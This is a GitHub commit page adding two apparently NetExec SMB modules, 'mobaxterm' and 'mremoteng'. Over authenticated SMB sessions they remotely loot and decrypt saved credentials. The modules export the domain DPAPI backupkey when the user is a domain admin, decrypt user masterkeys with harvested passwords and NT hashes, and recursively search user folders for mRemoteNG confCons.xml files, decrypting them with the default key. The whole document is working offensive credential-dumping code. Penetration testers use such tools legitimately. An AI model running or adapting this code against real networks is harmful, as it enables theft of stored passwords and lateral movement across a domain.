-
Notifications
You must be signed in to change notification settings - Fork 263
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge branch 'main' into neff-e2e_tests
- Loading branch information
Showing
10 changed files
with
722 additions
and
17 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,128 @@ | ||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file | ||
from dploot.triage.backupkey import BackupkeyTriage | ||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword | ||
from dploot.lib.target import Target | ||
from dploot.lib.smb import DPLootSMBConnection | ||
|
||
from nxc.helpers.logger import highlight | ||
|
||
|
||
class NXCModule: | ||
name = "mobaxterm" | ||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export" | ||
supported_protocols = ["smb"] | ||
opsec_safe = True | ||
multiple_hosts = True | ||
|
||
def options(self, context, module_options): | ||
""" | ||
PVK Domain backup key file | ||
MKFILE File with masterkeys in form of {GUID}:SHA1 | ||
""" | ||
self.pvkbytes = None | ||
self.masterkeys = None | ||
self.conn = None | ||
self.target = None | ||
|
||
if "PVK" in module_options: | ||
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115 | ||
|
||
if "MKFILE" in module_options: | ||
self.masterkeys = parse_masterkey_file(module_options["MKFILE"]) | ||
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115 | ||
|
||
def on_admin_login(self, context, connection): | ||
host = connection.hostname + "." + connection.domain | ||
domain = connection.domain | ||
username = connection.username | ||
kerberos = connection.kerberos | ||
aesKey = connection.aesKey | ||
use_kcache = getattr(connection, "use_kcache", False) | ||
password = getattr(connection, "password", "") | ||
lmhash = getattr(connection, "lmhash", "") | ||
nthash = getattr(connection, "nthash", "") | ||
|
||
if self.pvkbytes is None: | ||
try: | ||
dc = Target.create( | ||
domain=domain, | ||
username=username, | ||
password=password, | ||
target=domain, | ||
lmhash=lmhash, | ||
nthash=nthash, | ||
do_kerberos=kerberos, | ||
aesKey=aesKey, | ||
no_pass=True, | ||
use_kcache=use_kcache, | ||
) | ||
|
||
dc_conn = DPLootSMBConnection(dc) | ||
dc_conn.connect() | ||
|
||
if dc_conn.is_admin: | ||
context.log.success("User is Domain Administrator, exporting domain backupkey...") | ||
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn) | ||
backupkey = backupkey_triage.triage_backupkey() | ||
self.pvkbytes = backupkey.backupkey_v2 | ||
except Exception as e: | ||
context.log.debug(f"Could not get domain backupkey: {e}") | ||
|
||
self.target = Target.create( | ||
domain=domain, | ||
username=username, | ||
password=password, | ||
target=host, | ||
lmhash=lmhash, | ||
nthash=nthash, | ||
do_kerberos=kerberos, | ||
aesKey=aesKey, | ||
no_pass=True, | ||
use_kcache=use_kcache, | ||
) | ||
|
||
try: | ||
self.conn = DPLootSMBConnection(self.target) | ||
self.conn.smb_session = connection.conn | ||
except Exception as e: | ||
context.log.debug(f"Could not upgrade connection: {e}") | ||
return | ||
|
||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} | ||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} | ||
if password != "": | ||
plaintexts[username] = password | ||
if nthash != "": | ||
nthashes[username] = nthash | ||
|
||
if self.masterkeys is None: | ||
try: | ||
masterkeys_triage = MasterkeysTriage( | ||
target=self.target, | ||
conn=self.conn, | ||
pvkbytes=self.pvkbytes, | ||
passwords=plaintexts, | ||
nthashes=nthashes, | ||
dpapiSystem={}, | ||
) | ||
self.masterkeys = masterkeys_triage.triage_masterkeys() | ||
except Exception as e: | ||
context.log.debug(f"Could not get masterkeys: {e}") | ||
|
||
if len(self.masterkeys) == 0: | ||
context.log.fail("No masterkeys looted") | ||
return | ||
|
||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets") | ||
|
||
try: | ||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) | ||
_, credentials = triage.triage_mobaxterm() | ||
for credential in credentials: | ||
if isinstance(credential, MobaXtermCredential): | ||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) | ||
elif isinstance(credential, MobaXtermPassword): | ||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) | ||
context.log.highlight(f"[{credential.winuser}] {log_text}") | ||
except Exception as e: | ||
context.log.debug(f"Could not loot MobaXterm secrets: {e}") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,212 @@ | ||
import ntpath | ||
from dploot.lib.smb import DPLootSMBConnection | ||
from dploot.lib.target import Target | ||
from Cryptodome.Cipher import AES | ||
from lxml import objectify | ||
from base64 import b64decode | ||
import hashlib | ||
from dataclasses import dataclass | ||
|
||
|
||
@dataclass | ||
class MRemoteNgEncryptionAttributes: | ||
kdf_iterations: int | ||
block_cipher_mode: str | ||
encryption_engine: str | ||
full_file_encryption: bool | ||
|
||
class NXCModule: | ||
""" | ||
Dump mRemoteNG Passwords | ||
module by @_zblurx | ||
""" | ||
|
||
name = "mremoteng" | ||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) " | ||
supported_protocols = ["smb"] | ||
opsec_safe = True | ||
multiple_hosts = True | ||
|
||
def __init__(self, context=None, module_options=None): | ||
self.false_positive = ( | ||
".", | ||
"..", | ||
"desktop.ini", | ||
"Public", | ||
"Default", | ||
"Default User", | ||
"All Users", | ||
) | ||
|
||
self.mRemoteNg_path = [ | ||
"Users\\{username}\\AppData\\Local\\mRemoteNG", | ||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG", | ||
] | ||
|
||
self.custom_user_path = [ | ||
"Users\\{username}\\Desktop", | ||
"Users\\{username}\\Documents", | ||
] | ||
|
||
self.recurse_max = 10 | ||
|
||
def options(self, context, module_options): | ||
""" | ||
SHARE Share parsed. Default to C$ | ||
PASSWORD Custom password to decrypt confCons.xml files | ||
CUSTOM_PATH Custom path to confCons.xml file | ||
""" | ||
self.context = context | ||
|
||
self.password = "mR3m" | ||
if "PASSWORD" in module_options: | ||
self.password = module_options["PASSWORD"] | ||
|
||
self.custom_path = None | ||
if "CUSTOM_PATH" in module_options: | ||
self.custom_path = module_options["CUSTOM_PATH"] | ||
|
||
def on_admin_login(self, context, connection): | ||
# 1. Evole conn into dploot conn | ||
self.context = context | ||
self.connection = connection | ||
self.share = connection.args.share | ||
|
||
host = f"{connection.hostname}.{connection.domain}" | ||
domain = connection.domain | ||
username = connection.username | ||
kerberos = connection.kerberos | ||
aesKey = connection.aesKey | ||
use_kcache = getattr(connection, "use_kcache", False) | ||
password = getattr(connection, "password", "") | ||
lmhash = getattr(connection, "lmhash", "") | ||
nthash = getattr(connection, "nthash", "") | ||
|
||
target = Target.create( | ||
domain=domain, | ||
username=username, | ||
password=password, | ||
target=host, | ||
lmhash=lmhash, | ||
nthash=nthash, | ||
do_kerberos=kerberos, | ||
aesKey=aesKey, | ||
use_kcache=use_kcache, | ||
) | ||
|
||
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) | ||
|
||
# 2. Dump users list | ||
users = self.get_users(dploot_conn) | ||
|
||
# 3. Search for mRemoteNG files | ||
for user in users: | ||
for path in self.mRemoteNg_path: | ||
user_path = ntpath.join(path.format(username=user), "confCons.xml") | ||
content = dploot_conn.readFile(self.share, user_path) | ||
if content is None: | ||
continue | ||
self.context.log.info(f"Found confCons.xml file: {user_path}") | ||
self.handle_confCons_file(content) | ||
for path in self.custom_user_path: | ||
user_path = path.format(username=user) | ||
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max) | ||
if self.custom_path is not None: | ||
content = dploot_conn.readFile(self.share, self.custom_path) | ||
if content is not None: | ||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}") | ||
self.handle_confCons_file(content) | ||
|
||
def upgrade_connection(self, target: Target, connection=None): | ||
conn = DPLootSMBConnection(target) | ||
if connection is not None: | ||
conn.smb_session = connection | ||
else: | ||
conn.connect() | ||
return conn | ||
|
||
def get_users(self, conn): | ||
users = [] | ||
|
||
users_dir_path = "Users\\*" | ||
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) | ||
|
||
for d in directories: | ||
if d.get_longname() not in self.false_positive and d.is_directory() > 0: | ||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability | ||
return users | ||
|
||
def handle_confCons_file(self, file_content): | ||
main = objectify.fromstring(file_content) | ||
encryption_attributes = MRemoteNgEncryptionAttributes( | ||
kdf_iterations=int(main.attrib["KdfIterations"]), | ||
block_cipher_mode=main.attrib["BlockCipherMode"], | ||
encryption_engine=main.attrib["EncryptionEngine"], | ||
full_file_encryption=bool(main.attrib["FullFileEncryption"]), | ||
) | ||
|
||
for node_attribute in self.parse_xml_nodes(main): | ||
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes) | ||
if password == b"": | ||
continue | ||
name = node_attribute["Name"] | ||
hostname = node_attribute["Hostname"] | ||
domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"] | ||
username = node_attribute["Username"] | ||
protocol = node_attribute["Protocol"] | ||
port = node_attribute["Port"] | ||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " " | ||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}") | ||
|
||
def parse_xml_nodes(self, main): | ||
nodes = [] | ||
for node in list(main.getchildren()): | ||
node_attributes = node.attrib | ||
if node_attributes["Type"] == "Connection": | ||
nodes.append(node.attrib) | ||
elif node_attributes["Type"] == "Container": | ||
nodes.append(node.attrib) | ||
nodes = nodes + self.parse_xml_nodes(node) | ||
return nodes | ||
|
||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10): | ||
directory_list = conn.remote_list_dir(self.share, directory_path) | ||
if directory_list is not None: | ||
for item in directory_list: | ||
if item.get_longname() not in self.false_positive: | ||
new_path = ntpath.join(directory_path, item.get_longname()) | ||
if item.is_directory() > 0: | ||
if recurse_level < recurse_max: | ||
self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max) | ||
else: | ||
# It's a file, download it to the output share if the mask is ok | ||
if "confCons.xml" in item.get_longname(): | ||
self.context.log.info(f"Found confCons.xml file: {new_path}") | ||
content = conn.readFile(self.context.share, new_path) | ||
self.handle_confCons_file(content) | ||
|
||
|
||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes): | ||
encrypted_password = b64decode(encrypted_password) | ||
if encrypted_password == b"": | ||
return encrypted_password | ||
|
||
if encryption_attributes.encryption_engine == "AES": | ||
salt = encrypted_password[:16] | ||
associated_data = encrypted_password[:16] | ||
nonce = encrypted_password[16:32] | ||
ciphertext = encrypted_password[32:-16] | ||
tag = encrypted_password[-16:] | ||
key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32) | ||
if encryption_attributes.block_cipher_mode == "GCM": | ||
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) | ||
elif encryption_attributes.block_cipher_mode == "CCM": | ||
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce) | ||
elif encryption_attributes.block_cipher_mode == "EAX": | ||
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce) | ||
else: | ||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented") | ||
cipher.update(associated_data) | ||
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1") | ||
else: | ||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.